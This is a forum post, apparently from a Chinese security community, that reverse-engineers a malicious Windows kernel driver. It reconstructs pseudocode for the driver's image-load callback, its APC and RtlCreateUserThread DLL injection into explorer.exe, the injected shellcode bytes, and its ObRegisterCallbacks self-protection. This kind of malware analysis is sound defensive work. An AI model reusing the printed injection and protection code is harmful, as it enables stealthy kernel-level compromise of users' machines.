首页
社区
课程
招聘
[原创]一个恶意驱动的逆向分析
发表于: 8小时前 167

[原创]一个恶意驱动的逆向分析

8小时前
167

关于病毒的一个驱动分析报告

写这篇报告的主要目的是分析最近的一个驱动样本

架构分析

该恶意样本是一个复杂的内核模式攻击框架,集成了多层级系统回调机制和混合注入技术。通过逆向分析发现,其核心架构基于Windows内核回调系统构建,采用"主动+被动"双重攻击模式确保攻击可靠性。

技术详细分析(静态分析)

被动进程回调注入

通过逆向发现,该样本注册PsSetLoadImageNotifyRoutine回调函数,这是Windows内核提供的合法接口,允许驱动程序在系统加载任何可执行映像(DLL或EXE)到进程地址空间时获得通知。

当系统加载器(通常是ntdll.dll中的LdrLoadDll或系统启动时的映像加载)准备将PE文件映射到进程地址空间时,内核会遍历已注册的回调链表,依次调用每个回调函数。这一机制原本用于防病毒软件和系统监控工具,但被恶意软件滥用用于检测特定DLL加载时机。

恶意利用:本样本在回调函数中执行以下检测逻辑:
检查加载的映像路径是否包含\System32\或\SysWOW64\字符串,用于判断系统DLL加载
通过PsGetProcessWow64Process判断当前进程是32位还是64位环境
当检测到explorer.exe、taskmgr.exe或perfmon.exe加载系统DLL时,触发注入流程
下面是部分伪代码表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo)
{
    __int64 currentIrql;
    PEPROCESS currentProcess;
    BOOLEAN isWow64Process;
    PEPROCESS targetProcess;
    BOOLEAN shouldInject;
    NTSTATUS status;
    __int64 lastBackslashPos;
    __int64 ldrLoadDllAddr;
     
     
    __int64 securityCookie;
    PEPROCESS processObject = NULL;
    PFILE_OBJECT fileObject = NULL;
    PUNICODE_STRING dosName = NULL;
     
    // 硬编码的字符串数组
    WCHAR system32Path[] = L"\\System32\\";
    WCHAR syswow64Path[] = L"\\SysWOW64\\";
 
    // 检查进程ID是否为有效值(排除03等特殊进程)
    if (ProcessId != 0 && ProcessId != 3)
    {
        // 必须在PASSIVE_LEVEL IRQL且不是签名映像(避免检查已签名的系统文件)
        currentIrql = KeGetCurrentIrql();
        if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0)
        {
            if (FullImageName)
            {
                // 获取映像路径字符串
                PWCH imagePath = *(PWCH*)(FullImageName + 8);
                if (imagePath)
                {
                    // 检查是否加载System32目录下的DLL
                    if (wcsstr(imagePath, system32Path))
                    {
                        // 获取当前进程(调用者进程)
                        currentProcess = IoGetCurrentProcess();
                        // 检查当前进程是否是32位进程(WoW64)
                        if (PsGetProcessWow64Process(currentProcess))
                        {
                            isWow64Process = TRUE;  // 32位进程
                            goto CHECK_PROCESS;     // 跳转到进程检查
                        }
                    }
                     
                    // 检查是否加载SysWOW64目录下的DLL(32位系统目录)
                    if (wcsstr(imagePath, syswow64Path))
                    {
                        // 获取当前进程
                        targetProcess = IoGetCurrentProcess();
                        // 检查当前进程是否是64位进程(不是WoW64)
                        if (!PsGetProcessWow64Process(targetProcess))
                        {
                            isWow64Process = FALSE; // 64位进程
                             
CHECK_PROCESS:
                            // 初始化变量
                            processObject = NULL;
                            fileObject = NULL;
                            shouldInject = FALSE;
                            dosName = NULL;
                             
                            // 通过进程ID获取进程对象
                            status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject);
                            if (NT_SUCCESS(status))
                            {
                                // 获取进程对应的文件对象(可执行文件)
                                status = PsReferenceProcessFilePointer(processObject, &fileObject);
                                if (NT_SUCCESS(status))
                                {
                                    // 获取文件的DOS设备名(如\Device\HarddiskVolume1\...)
                                    IoQueryFileDosDeviceName(fileObject, &dosName);
                                    // 递减文件对象引用计数
                                    ObfDereferenceObject(fileObject);
                                }
                                 
                                // 如果成功获取DOS设备名
                                if (dosName)
                                {
                                    // 在路径中查找最后一个反斜杠
                                    lastBackslashPos = FindLastDash(dosName->Buffer, L'\\');
                                    if (lastBackslashPos != -1)
                                    {
                                        // 获取文件名部分(反斜杠后的字符串)
                                        PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1));
                                         
                                        // 检查是否是目标进程
                                        if (_wcsicmp(fileName, L"explorer.exe") == 0 || 
                                            _wcsicmp(fileName, L"taskmgr.exe") == 0 ||
                                            _wcsicmp(fileName, L"perfmon.exe") == 0)
                                        {
                                            shouldInject = TRUE;  // 标记需要注入
                                        }
                                    }
                                     
                                    // 释放DOS设备名字符串缓冲区
                                    ExFreePoolWithTag(dosName, 0);
                                }
                                 
                                // 递减进程对象引用计数
                                ObfDereferenceObject(processObject);
                                 
                                // 如果需要注入
                                if (shouldInject)
                                {
                                    // 在已加载的映像中查找LdrLoadDll函数地址
                                    // ImageInfo + 8 可能是映像基址
                                    ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll");
                                     
                                    // 只对64位进程进行注入(!isWow64Process)
                                    if (!isWow64Process)
                                    {
                                        // 执行APC注入,注入特定DLL
                                        ApcInject(ProcessId,
                                                 L"C:\\ProgramData\\DiamondAge\\diamondage.dll",
                                                 ldrLoadDllAddr,
                                                 NULL);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
         
        // 安全cookie检查(栈保护)
        sub_140002350((unsigned __int64)&securityCookie ^ v22);
    }
}

同时,该样本采用APC注入目标进程

在这个样本中,调用的FindLdrLoadDll函数还原如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName)
{
    __int64 result; // rdi
    __int64 ntHeaderOffset; // rdx
    __int16 magic; // r8
    __int64 optionalHeaderPtr; // rax
    __int64 exportDirectoryOffset; // rcx
    __int64 dataDirectoryPtr; // rax
    IMAGE_DATA_DIRECTORY* exportDirectory; // rsi
    unsigned __int64 exportAddressTable; // r13
    unsigned __int64 exportNameTable; // rcx
    __int64 i; // r15
    unsigned __int64 currentFunctionName; // r12
    __int64 nameLength; // rax
    __int64 nameLength2; // rax
    __int64 nameLength3; // rax
    unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h]
    unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h]
 
    // 参数检查:模块基址和函数名不能为空
    if (!moduleBase || !functionName)
        return 0LL;
     
    result = 0LL;
     
    // 解析PE头结构
    // 获取NT头的偏移(e_lfanew)
    ntHeaderOffset = *(int *)(moduleBase + 60);  // DOS头中的e_lfanew
     
    // 获取可选头魔法值(IMAGE_NT_HEADERS->OptionalHeader.Magic)
    magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16);  // 4为Signature大小,16为FileHeader大小
     
    // 计算可选头指针位置
    optionalHeaderPtr = ntHeaderOffset + moduleBase + 24// 24 = sizeof(DOS_HEADER) + 4
     
    exportDirectoryOffset = 0LL;
     
    // 根据PE类型(32位或64位)调整导出表目录的偏移
    // 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b)
    if (magic != 0x20B// 不是64位PE,可能是32位PE
        exportDirectoryOffset = optionalHeaderPtr;
     
    if (exportDirectoryOffset)
    {
        // 64位PE:DataDirectory在可选头末尾
        dataDirectoryPtr = exportDirectoryOffset + 112// 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128
    }
    else
    {
        // 32位PE或其他情况
        dataDirectoryPtr = ntHeaderOffset + moduleBase + 120// 32位PE的DataDirectory位置
        if (magic != 0x20B)
            dataDirectoryPtr = 96LL// 某些特殊情况
    }
     
    exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr);
     
    if (exportDirectory)
    {
        exportAddressTable = moduleBase + (unsigned int)exportDirectory[8];  // AddressOfFunctions
        exportNameTable = moduleBase + (unsigned int)exportDirectory[9];     // AddressOfNames
        nameTableCopy = exportNameTable;
        exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals
         
        // 遍历所有导出函数名
        for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1))  // NumberOfNames
        {
            // 获取当前函数名的RVA并转换为VA
            currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i);
             
            // 检查当前地址是否在用户空间且有效(内核模式下的安全访问)
            if (moduleBase >= MmUserProbeAddress)  // 如果模块基址在用户空间之上(内核空间)
            {
                _mm_lfence();  // 内存屏障,确保内存读取顺序
                 
                // 验证函数名字符串地址的有效性
                if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i)))
                {
                    _mm_lfence();
                     
                    // 计算函数名长度
                    nameLength2 = strlen((const char *)functionName);
                     
                    // 验证函数名字符串结束地址的有效性
                    if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName))
                    {
                        _mm_lfence();
                         
                        // 再次计算长度并进行不区分大小写的比较
                        nameLength3 = strlen((const char *)functionName);
                        if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) &&
                            !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))  // 检查字符串结束符
                        {
                            _mm_lfence();
                             
                            // 找到匹配的函数名,返回对应的函数地址
                            // 使用序号表查找对应的函数地址索引
                            // 公式:函数地址 = moduleBase + EAT[序号]
                            // 序号 = EOT[i] (从序号表获取)
                            return moduleBase + *(unsigned int *)(exportAddressTable +
                                    4LL * (exportDirectory[5] +  // Base (起始序号)
                                    (unsigned int)*(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i) - 1));
                        }
                    }
                }
                exportNameTable = nameTableCopy;  // 恢复nameTable指针
            }
            else  // 模块在用户空间
            {
                _mm_lfence();  // 内存屏障
                 
                // 直接进行字符串比较(假设用户空间访问安全)
                nameLength = strlen((const char *)functionName);
                if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength) &&
                    !*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))
                {
                    _mm_lfence();
                     
                    return moduleBase + *(unsigned int *)(exportAddressTable +
                           4LL * *(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i));
                }
                exportNameTable = nameTableCopy;  // 恢复nameTable指针
            }
        }
    }
    return result;  // 没找到,返回0
}

主动远线程注入

样本使用CreateSystemThread在内核地址空间创建系统线程,这是与用户模式线程完全不同的执行上下文。

CreateSystemThread创建的系统线程运行在内核模式,没有关联的用户进程上下文。这意味着:线程在系统进程(System,PID 4)的上下文中执行,具有内核最高权限(IRQL PASSIVE_LEVEL),不受用户进程生命周期影响,传统用户模式安全产品无法监控其执行
与传统被动注入不同,样本采用主动攻击模式,枚举运行中的进程,寻找explorer.exe,使用KeStackAttachProcess将当前线程附加到目标进程地址空间,进而注入explorer的上下文
下面还原了部分伪代码

shellcode 分析

该样本主动注入shellcode到目标进程,实现了无文件落地,下面给出分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 准备Shellcode模板
                    // ymmword_140004088等是预定义的Shellcode数据模板
                    ShellcodeTemplate = ymmword_140004088;  // Shellcode主体
                     
                    // 设置Shellcode中的参数:
                    // 将DLL路径UNICODE_STRING指针放入Shellcode模板
                    *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;
                     
                    // 将返回值内存指针放入Shellcode模板
                    *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;
                     
                    // 保存LdrLoadDll地址到局部变量
                    LdrLoadDllPointer = LdrLoadDllAddr;
                     
                    // 将Shellcode模板复制到分配的内存
                    ShellcodeBuffer = (__m256*)ShellcodeMemory;
                    *ShellcodeBuffer = ShellcodeTemplate;
                     
                    // 设置Shellcode中的函数地址和其他字段
                    // 这里将LdrLoadDll地址写入Shellcode的特定位置
                    *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // 偏移0x20
                     
                    // 设置其他未知字段(可能是调用约定或参数信息)
                    *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
                    *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
                    *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;

IDA里看到,4883EC284831C94831D249B8000000000000000049B9000000000000000048B8是 ymmword_140004088等是预定义的Shellcode数据模板
我们把其反汇编

1
2
3
4
5
6
48 83 EC 28          sub     rsp, 28h           
48 31 C9             xor     rcx, rcx           
48 31 D2             xor     rdx, rdx           
49 B8 00 00 00 00 00 00 00 00   mov r8, 0        
49 B9 00 00 00 00 00 00 00 00   mov r9, 0        
48 B8 00 00 00 00 00 00 00 00   mov rax, 0    

在ActiveInjectDll函数中,Shellcode被这样修改:

1
2
3
4
5
6
7
// 复制Shellcode模板到目标进程内存
*ShellcodeBuffer = ShellcodeTemplate;  // 复制前32字节
 
// 修改数据段(后32字节)
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllAddr;     // 偏移0x20: 函数地址
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x28) = (ULONG64)DllPathUnicodeString;  // DLL路径
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x30) = (ULONG64)ReturnValueMemory;    // 返回值地址

伪代码分析

下面给出了ActiveInjectDll的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
__int64 __fastcall ActiveInjectDll(__int64 TargetEprocess, __int64 DllPath)
{
    BOOLEAN IsWow64Process; // r8
    __int64 result; // rax
    __int64 LdrLoadDllAddr; // rsi - LdrLoadDll函数地址
    NTSTATUS status; // edi - 状态码
    __int16 DllPathLength; // ax - DLL路径长度
    int field_unknown1; // ecx
    __int16 field_unknown2; // dx
    char field_unknown3; // r8
    __m256 *ShellcodeBuffer; // rax
    // RtlCreateUserThread函数指针
    __int64 (__fastcall *RtlCreateUserThread)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *);
     
    // 局部变量
    SIZE_T AllocationSize; // [rsp+68h] [rbp-D0h] BYREF - 分配大小
    PUNICODE_STRING DllPathUnicodeString; // [rsp+70h] [rbp-C8h] BYREF - DLL路径UNICODE_STRING
    HANDLE ProcessHandle; // [rsp+78h] [rbp-C0h] BYREF - 进程句柄
    PVOID ShellcodeMemory; // [rsp+80h] [rbp-B8h] BYREF - Shellcode内存
    PVOID ReturnValueMemory; // [rsp+88h] [rbp-B0h] BYREF - 返回值内存
    HANDLE ThreadHandle; // [rsp+90h] [rbp-A8h] BYREF - 线程句柄
    CLIENT_ID ClientId; // [rsp+98h] [rbp-A0h] BYREF - 客户端ID
    __m256 ShellcodeTemplate; // [rsp+A8h] [rbp-90h] - Shellcode模板
    __int64 LdrLoadDllPointer; // [rsp+C8h] [rbp-70h] - LdrLoadDll指针
    CHAR RoutineName[16]; // [rsp+D8h] [rbp-60h] BYREF - 函数名
    KAPC_STATE ApcState; // [rsp+E8h] [rbp-50h] BYREF - APC状态
     
    // 初始化局部变量
    ShellcodeMemory = NULL;
    DllPathUnicodeString = NULL;
    ReturnValueMemory = NULL;
    AllocationSize = 0;
    ThreadHandle = NULL;
    ProcessHandle = NULL;
     
    // 检查目标进程是否是WoW64进程(32位进程)
    if (PsGetProcessWow64Process(TargetEprocess))
        return STATUS_INVALID_PARAMETER; // 0xC00000FB = 3221225659
     
    IsWow64Process = FALSE;
     
    // 在目标进程中获取LdrLoadDll函数地址
    LdrLoadDllAddr = GetFunctionAddressByName(TargetEprocess, "LdrLoadDll", IsWow64Process);
    if (!LdrLoadDllAddr)
        return STATUS_NOT_FOUND; // 0xC0000225 = 3221226021
     
    // 通过EPROCESS指针打开进程句柄
    result = ObOpenObjectByPointer(TargetEprocess,
                                   512LL,          // HandleAttributes (OBJ_KERNEL_HANDLE)
                                   0LL,            // PassedAccessState
                                   0x1FFFFFLL,     // DesiredAccess (PROCESS_ALL_ACCESS)
                                   PsProcessType,  // ObjectType
                                   0,              // AccessMode (KernelMode)
                                   &ProcessHandle);
    _mm_lfence();  // 内存屏障
     
    if (NT_SUCCESS(result))
    {
        // 附加到目标进程的地址空间
        KeStackAttachProcess(TargetEprocess, &ApcState);
         
        // 分配第一块内存:用于Shellcode(代码执行)
        AllocationSize = 4096// PAGE_SIZE
        status = ZwAllocateVirtualMemory((HANDLE)-1,           // ProcessHandle (当前进程)
                                         &ShellcodeMemory,     // BaseAddress
                                         0LL,                  // ZeroBits
                                         &AllocationSize,      // RegionSize
                                         MEM_COMMIT,           // AllocationType (0x3000 = 12288)
                                         PAGE_EXECUTE_READWRITE); // Protect (0x40 = 64)
         
        if (status >= 0// NT_SUCCESS
        {
            // 分配第二块内存:用于DLL路径字符串
            AllocationSize = 4096;
            status = ZwAllocateVirtualMemory((HANDLE)-1,
                                             &DllPathUnicodeString,
                                             0LL,
                                             &AllocationSize,
                                             MEM_COMMIT,
                                             PAGE_READWRITE);  // 0x4 = 4
            if (status >= 0)
            {
                // 分配第三块内存:用于返回值(DLL基址)
                AllocationSize = 8;
                status = ZwAllocateVirtualMemory((HANDLE)-1,
                                                 &ReturnValueMemory,
                                                 0LL,
                                                 &AllocationSize,
                                                 MEM_COMMIT,
                                                 PAGE_READWRITE);
                if (status >= 0)
                {
                    // 计算DLL路径长度并创建UNICODE_STRING结构
                    DllPathLength = wcslen((PWSTR)DllPath);
                     
                    // 构建UNICODE_STRING结构:
                    UNICODE_STRING DllPathString;
                    DllPathString.Length = 2 * DllPathLength;           // 字节长度
                    DllPathString.MaximumLength = 2 * DllPathLength + 2; // 包括终止符
                    DllPathString.Buffer = (PWSTR)((PBYTE)DllPathUnicodeString + 1); // +1可能是对齐调整
                     
                    // 将UNICODE_STRING结构复制到分配的内存
                    *DllPathUnicodeString = *(PUNICODE_STRING)&DllPathString;
                     
                    // 复制DLL路径字符串到目标进程
                    sub_1400023C0((PBYTE)DllPathUnicodeString + 1// 目标地址
                                  DllPath,                          // 源地址
                                  2 * DllPathLength + 2);           // 复制长度
                     
                    // 准备Shellcode模板
                    // ymmword_140004088等是预定义的Shellcode数据模板
                    ShellcodeTemplate = ymmword_140004088;  // Shellcode主体
                     
                    // 设置Shellcode中的参数:
                    // 将DLL路径UNICODE_STRING指针放入Shellcode模板
                    *((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;
                     
                    // 将返回值内存指针放入Shellcode模板
                    *((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;
                     
                    // 保存LdrLoadDll地址到局部变量
                    LdrLoadDllPointer = LdrLoadDllAddr;
                     
                    // 将Shellcode模板复制到分配的内存
                    ShellcodeBuffer = (__m256*)ShellcodeMemory;
                    *ShellcodeBuffer = ShellcodeTemplate;
                     
                    // 设置Shellcode中的函数地址和其他字段
                    // 这里将LdrLoadDll地址写入Shellcode的特定位置
                    *(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // 偏移0x20
                     
                    // 设置其他未知字段(可能是调用约定或参数信息)
                    *(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
                    *(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
                    *(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;
                }
            }
        }
         
        // 从目标进程分离
        KeUnstackDetachProcess(&ApcState);
         
        // 如果内存分配和设置成功
        if (status >= 0)
        {
            // 获取RtlCreateUserThread函数地址
            RtlInitUnicodeString((PUNICODE_STRING)RoutineName, L"RtlCreateUserThread");
            RtlCreateUserThread = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *))
                                  MmGetSystemRoutineAddress((PUNICODE_STRING)RoutineName);
             
            if (RtlCreateUserThread)
            {
                // 初始化ClientId
                ClientId = (CLIENT_ID){0};
                 
                // 在目标进程中创建远程线程,执行Shellcode
                status = RtlCreateUserThread(ProcessHandle,      // ProcessHandle
                                             0LL,                // SecurityDescriptor
                                             0LL,                // CreateSuspended (FALSE)
                                             0LL,                // StackZeroBits
                                             0LL,                // StackReserve
                                             0LL,                // StackCommit
                                             ShellcodeMemory,    // StartAddress (Shellcode地址)
                                             0LL,                // StartParameter
                                             &ThreadHandle,      // ThreadHandle
                                             &ClientId);         // ClientId
                 
                if (status >= 0)
                {
                    if (ThreadHandle)
                        ZwClose(ThreadHandle);
                }
            }
            else
            {
                status = STATUS_ENTRYPOINT_NOT_FOUND; // 0xC0000139 = -1073741637
            }
        }
        else
        {
            _mm_lfence();  // 内存屏障
        }
         
        // 关闭进程句柄
        ZwClose(ProcessHandle);
         
        return status;
    }
     
    return result;
}

句柄降权回调(ObRegisterCallbacks)

样本使用ObRegisterCallback注册对象管理器回调,这是Windows对象管理器提供的强大机制,允许驱动程序监控和拦截进程、线程句柄操作。

通过回调函数发现,驱动对同名的diamondage.exe进行了进程保护,通过此机制,恶意驱动可以:防止安全工具获取PROCESS_TERMINATE权限来终止恶意进程,阻止调试器获取PROCESS_VM_READ/WRITE权限来读取或修改恶意进程内存,监控对特定进程的句柄操作,实现早期预警

总结

该样本为内核级攻击框架,通过注册PsSetLoadImageNotifyRoutine回调监控系统DLL加载,并利用ObRegisterCallback对自身进程实施句柄降权保护,阻止安全工具扫描或终止。核心采用CreateSystemThread创建内核线程,主动枚举并附加至explorer.exe等高权限进程,结合APC注入与RtlCreateUserThread双重技术植入恶意DLL。其通过内核级操作、动态上下文切换及信任链滥用,全面规避用户模式检测机制,实现了深度隐蔽的持久化.

技术动态分析

通过手动加载恶意驱动,笔者成功复现了dll的注入



同时,复现了进程保护

说在最后

这是恶意软件的pdb路径

欢迎提出意见


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 6小时前 被TurkeybraNC编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回